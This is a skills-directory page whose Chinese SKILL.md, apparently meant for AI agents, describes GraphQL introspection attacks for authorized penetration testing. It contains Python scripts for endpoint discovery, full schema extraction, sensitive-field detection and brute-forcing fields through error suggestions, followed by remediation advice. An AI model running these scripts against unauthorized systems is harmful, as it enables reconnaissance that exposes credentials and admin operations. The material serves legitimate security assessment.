L’interface est localisée ; les présentations et documents des Skills sont traduits automatiquement par IA dans votre langue. Le code, les commandes, chemins et termes techniques restent en version originale, et le document de l’auteur fait foi.
Explorer les Skills
Productivité · SKILL.md

performing-graphql-introspection-attack

performing-graphql-introspection-attack

执行 GraphQL 自省(Introspection)攻击,从 GraphQL 端点提取完整的 API Schema, 包括类型、查询(Query)、变更(Mutation)、订阅(Subscription)和字段定义。 测试人员使用自省查询绘制攻击面,识别敏感字段和变更操作,测试查询深度和复杂度限制, 并利用 GraphQL 特有漏洞,包括批量攻击、基于别名的暴力破解和嵌套查询 DoS。 适用于涉及 GraphQL 安全测试、自省攻击、GraphQL 枚举或 GraphQL API 渗透测试的请求。

Independent GitHub snapshot · Automated classification · Original documentation governs

Documentation de la Skill

GitHub

name: performing-graphql-introspection-attack description: > 执行 GraphQL 自省(Introspection)攻击,从 GraphQL 端点提取完整的 API Schema, 包括类型、查询(Query)、变更(Mutation)、订阅(Subscription)和字段定义。 测试人员使用自省查询绘制攻击面,识别敏感字段和变更操作,测试查询深度和复杂度限制, 并利用 GraphQL 特有漏洞,包括批量攻击、基于别名的暴力破解和嵌套查询 DoS。 适用于涉及 GraphQL 安全测试、自省攻击、GraphQL 枚举或 GraphQL API 渗透测试的请求。 domain: cybersecurity subdomain: api-security tags: [api-security, graphql, introspection, schema-extraction, query-abuse] version: 1.0.0 author: mahipal license: Apache-2.0

执行 GraphQL 自省攻击

适用场景

  • 测试 GraphQL 端点是否暴露了泄露完整 API Schema 的自省功能
  • 绘制 GraphQL API 的攻击面,识别敏感查询、变更和类型
  • 测试 GraphQL 特有漏洞,包括查询深度滥用、批量攻击和字段级别授权
  • 评估在自省被禁用时,是否可通过错误消息重建 Schema 的 GraphQL 实现
  • 评估通过深度嵌套或复杂 GraphQL 查询实现资源耗尽的防御措施

请勿在未获书面授权的情况下使用。Schema 提取和查询滥用测试可能影响服务可用性。

前置条件

  • 指定 GraphQL 端点和测试范围的书面授权
  • Burp Suite Professional 及 InQL 扩展(v6.1+),用于自动化 Schema 分析
  • Python 3.10+ 及 requests 和 gql 库
  • GraphQL Voyager 或 GraphQL Playground,用于 Schema 可视化
  • Clairvoyance 工具,用于在自省被禁用时重建 Schema
  • 用于 GraphQL 字段和类型名称暴力破解的字典文件

工作流程

步骤 1:发现 GraphQL 端点

import requests
import json

TARGET = "https://target-api.example.com"
headers = {"Content-Type": "application/json"}

# 常见 GraphQL 端点路径
GRAPHQL_PATHS = [
    "/graphql", "/graphql/", "/gql", "/query",
    "/api/graphql", "/api/gql", "/api/v1/graphql",
    "/v1/graphql", "/v2/graphql",
    "/graphql/console", "/graphql/playground",
    "/graphiql", "/altair", "/explorer",
    "/graph", "/api/graph",
]

# 探测 GraphQL 端点
for path in GRAPHQL_PATHS:
    # 使用简单的自省查询测试
    query = {"query": "{ __typename }"}
    try:
        resp = requests.post(f"{TARGET}{path}", headers=headers, json=query, timeout=5)
        if resp.status_code == 200 and ("data" in resp.text or "__typename" in resp.text):
            print(f"[FOUND] GraphQL 端点:{TARGET}{path}")
            print(f"  响应:{resp.text[:200]}")
    except requests.exceptions.RequestException:
        pass

    # 也测试 GET 方法
    try:
        resp = requests.get(f"{TARGET}{path}?query={{__typename}}", timeout=5)
        if resp.status_code == 200 and ("data" in resp.text or "__typename" in resp.text):
            print(f"[FOUND] GraphQL 端点(GET):{TARGET}{path}")
    except requests.exceptions.RequestException:
        pass

步骤 2:完整自省查询

GRAPHQL_URL = f"{TARGET}/graphql"
auth_headers = {**headers, "Authorization": "Bearer <token>"}

# 提取完整 Schema 的全量自省查询
FULL_INTROSPECTION = {
    "query": """
    query IntrospectionQuery {
      __schema {
        queryType { name }
        mutationType { name }
        subscriptionType { name }
        types {
          ...FullType
        }
        directives {
          name
          description
          locations
          args {
            ...InputValue
          }
        }
      }
    }

    fragment FullType on __Type {
      kind
      name
      description
      fields(includeDeprecated: true) {
        name
        description
        args {
          ...InputValue
        }
        type {
          ...TypeRef
        }
        isDeprecated
        deprecationReason
      }
      inputFields {
        ...InputValue
      }
      interfaces {
        ...TypeRef
      }
      enumValues(includeDeprecated: true) {
        name
        description
        isDeprecated
        deprecationReason
      }
      possibleTypes {
        ...TypeRef
      }
    }

    fragment InputValue on __InputValue {
      name
      description
      type { ...TypeRef }
      defaultValue
    }

    fragment TypeRef on __Type {
      kind
      name
      ofType {
        kind
        name
        ofType {
          kind
          name
          ofType {
            kind
            name
            ofType {
              kind
              name
            }
          }
        }
      }
    }
    """
}

resp = requests.post(GRAPHQL_URL, headers=auth_headers, json=FULL_INTROSPECTION)

if resp.status_code == 200:
    schema = resp.json()
    if "data" in schema and "__schema" in schema["data"]:
        print("[VULNERABLE] 完整自省已启用")
        types = schema["data"]["__schema"]["types"]

        # 分类类型
        custom_types = [t for t in types if not t["name"].startswith("__")]
        queries = schema["data"]["__schema"]["queryType"]
        mutations = schema["data"]["__schema"].get("mutationType")

        print(f"\nSchema 摘要:")
        print(f"  自定义类型:{len(custom_types)}")
        print(f"  查询类型:{queries['name'] if queries else 'None'}")
        print(f"  变更类型:{mutations['name'] if mutations else 'None'}")

        # 列出所有自定义类型及其字段
        for t in custom_types:
            if t.get("fields"):
                print(f"\n  类型:{t['name']}")
                for field in t["fields"]:
                    field_type = field["type"]["name"] or field["type"].get("ofType", {}).get("name", "")
                    print(f"    - {field['name']}: {field_type}")

        # 保存 Schema 以供进一步分析
        with open("graphql_schema.json", "w") as f:
            json.dump(schema, f, indent=2, ensure_ascii=False)
        print("\nSchema 已保存到 graphql_schema.json")
    else:
        print("[SECURED] 自省已禁用或受限")
        print(f"响应:{resp.text[:500]}")
else:
    print(f"请求失败:{resp.status_code}")

步骤 3:识别 Schema 中的敏感数据

# 分析提取的 Schema,查找敏感字段和类型
SENSITIVE_INDICATORS = {
    "field_names": [
        "password", "passwordHash", "secret", "token", "apiKey", "ssn",
        "socialSecurity", "creditCard", "cardNumber", "cvv", "pin",
        "privateKey", "internalId", "salary", "bankAccount", "taxId",
        "mfaSecret", "refreshToken", "sessionId", "debugInfo"
    ],
    "type_names": [
        "Admin", "Internal", "Debug", "Secret", "Private",
        "SystemConfig", "AuditLog", "PaymentInfo", "Credential"
    ],
    "mutation_names": [
        "deleteUser", "resetPassword", "changeRole", "elevatePrivilege",
        "createAdmin", "disableMFA", "exportData", "deleteAuditLog",
        "updateConfig", "runMigration", "executeQuery"
    ]
}

if "data" in schema:
    print("\n=== 敏感 Schema 分析 ===\n")

    for t in custom_types:
        # 检查类型名称
        for sensitive_type in SENSITIVE_INDICATORS["type_names"]:
            if sensitive_type.lower() in t["name"].lower():
                print(f"[SENSITIVE TYPE] {t['name']}")

        # 检查字段名称
        if t.get("fields"):
            for field in t["fields"]:
                for sensitive_field in SENSITIVE_INDICATORS["field_names"]:
                    if sensitive_field.lower() in field["name"].lower():
                        print(f"[SENSITIVE FIELD] {t['name']}.{field['name']}")

    # 检查变更名称
    if mutations:
        mutation_type = next((t for t in types if t["name"] == mutations["name"]), None)
        if mutation_type and mutation_type.get("fields"):
            for mutation in mutation_type["fields"]:
                for sensitive_mut in SENSITIVE_INDICATORS["mutation_names"]:
                    if sensitive_mut.lower() in mutation["name"].lower():
                        print(f"[SENSITIVE MUTATION] {mutation['name']}")

步骤 4:自省禁用时重建 Schema

# 利用字段建议错误重建 Schema
def bruteforce_field(type_name, field_wordlist):
    """使用 GraphQL 错误消息发现有效字段。"""
    discovered_fields = []

    for field_name in field_wordlist:
        query = {"query": f"{{ {type_name} {{ {field_name} }} }}"}
        resp = requests.post(GRAPHQL_URL, headers=auth_headers, json=query)
        response_text = resp.text.lower()

        # GraphQL 通常在错误消息中提示有效字段名称
        if "did you mean" in response_text:
            # 提取建议
            import re
            suggestions = re.findall(r'"(\w+)"', resp.text)
            for s in suggestions:
                if s not in discovered_fields:
                    discovered_fields.append(s)
                    print(f"  [DISCOVERED] {type_name}.{s}(通过建议发现)")

        elif resp.status_code == 200 and "errors" not in resp.json():
            discovered_fields.append(field_name)
            print(f"  [VALID] {type_name}.{field_name}")

    return discovered_fields

# 常见 GraphQL 字段名称字典
FIELD_WORDLIST = [
    "id", "name", "email", "username", "password", "role", "token",
    "createdAt", "updatedAt", "status", "type", "description", "title",
    "firstName", "lastName", "phone", "address", "avatar", "bio",
    "isAdmin", "isActive", "permissions", "groups", "orders", "items",
    "price", "quantity", "total", "currency", "paymentMethod",
    "ssn", "dateOfBirth", "creditCard", "bankAccount", "salary",
    "apiKey", "secretKey", "refreshToken", "mfaEnabled", "lastLogin",
]

# 尝试发现常见类型名称上的字段
for type_name in ["user", "users", "me", "currentUser", "admin", "order", "account"]:
    print(f"\n暴力枚举 '{type_name}' 上的字段:")
    fields = bruteforce_field(type_name, FIELD_WORDLIST)

核心概念

术语定义
GraphQL 自省(Introspection)查询 Schema 定义的内置功能,暴露 API 中所有可用的类型、字段、查询、变更和订阅
查询深度攻击(Query Depth Attack)发送深度嵌套查询导致指数级解析器执行,消耗服务器资源并可能引发 DoS
基于别名的批量攻击(Alias-Based Batching)使用 GraphQL 别名在单个请求中执行多个操作,绕过每请求速率限制
Schema 重建(Schema Reconstruction)在自省被禁用时,通过分析错误消息和字段建议重建 GraphQL Schema
字段级别授权(Field-Level Authorization)根据已认证用户的角色或权限控制对 GraphQL 类型中各字段的访问
查询复杂度分析(Query Complexity Analysis)在执行前计算 GraphQL 查询的计算成本,以强制执行资源限制

工具与系统

  • InQL(Burp Suite 扩展):自动化 GraphQL 自省、Schema 分析和攻击生成,支持 Schema 暴力破解
  • Clairvoyance:即使自省被禁用时也能工作的 Schema 重建工具,使用基于错误的字段发现
  • GraphQL Voyager:从自省结果生成交互式图表的可视化 Schema 探索器
  • Altair GraphQL Client:功能丰富的 GraphQL IDE,支持认证的查询测试
  • graphql-cop:GraphQL 安全审计工具,测试常见错误配置,包括自省、字段建议和查询限制

常见场景

场景:电商 GraphQL API 安全评估

背景:一个电商平台从 REST 迁移到 GraphQL。GraphQL 端点为 Web 和移动前端提供服务。自省在开发期间保持启用,但未在生产环境中禁用。

方法:

  1. 对 /graphql 端点运行完整自省查询——完整 Schema 包含 45 个类型、120 个查询和 38 个变更
  2. 识别敏感类型:AdminUser、PaymentInfo、InternalConfig、AuditLog
  3. 发现 User 类型暴露 passwordHash、mfaSecret 和 lastLoginIp 字段
  4. 找到普通用户可访问的管理员变更:deleteUser、updateRole、exportAllOrders
  5. 测试查询深度:无限制执行,深度 50 层的嵌套查询成功执行需 45 秒
  6. 测试别名批量:单个请求中 1000 次登录尝试绕过速率限制
  7. 测试批量查询:接受 500 个查询的数组,无任何限制
  8. Schema 揭露内部 InternalConfig 类型,包含 databaseConnectionString 和 stripeSecretKey 字段

输出格式

## 发现:GraphQL 自省已启用并暴露敏感 Schema

**ID**:API-GQL-001
**严重性**:高(CVSS 7.5)
**受影响端点**:POST /graphql
**使用工具**:InQL、Clairvoyance、自定义 Python 脚本

**描述**:
GraphQL 端点在生产环境中启用了自省,暴露了完整的 API Schema,
包括 45 个类型、120 个查询和 38 个变更。
Schema 揭示了敏感内部类型(AdminUser、PaymentInfo、InternalConfig),
并暴露了包含密码哈希、MFA 密钥和数据库连接字符串的字段。
未执行查询深度或复杂度限制,可通过嵌套查询实现拒绝服务。

**修复建议**:
1. 在生产环境中禁用自省
2. 使用 GraphQL 指令实现字段级别授权(@auth、@hasRole)
3. 从 Schema 中删除敏感字段或添加授权中间件限制访问
4. 实施查询深度限制(最大 10 层)和复杂度评分
5. 禁用错误消息中的字段建议以防止 Schema 重建
6. 对 GraphQL 请求按查询而非按 HTTP 请求进行速率限制
Skills enregistrées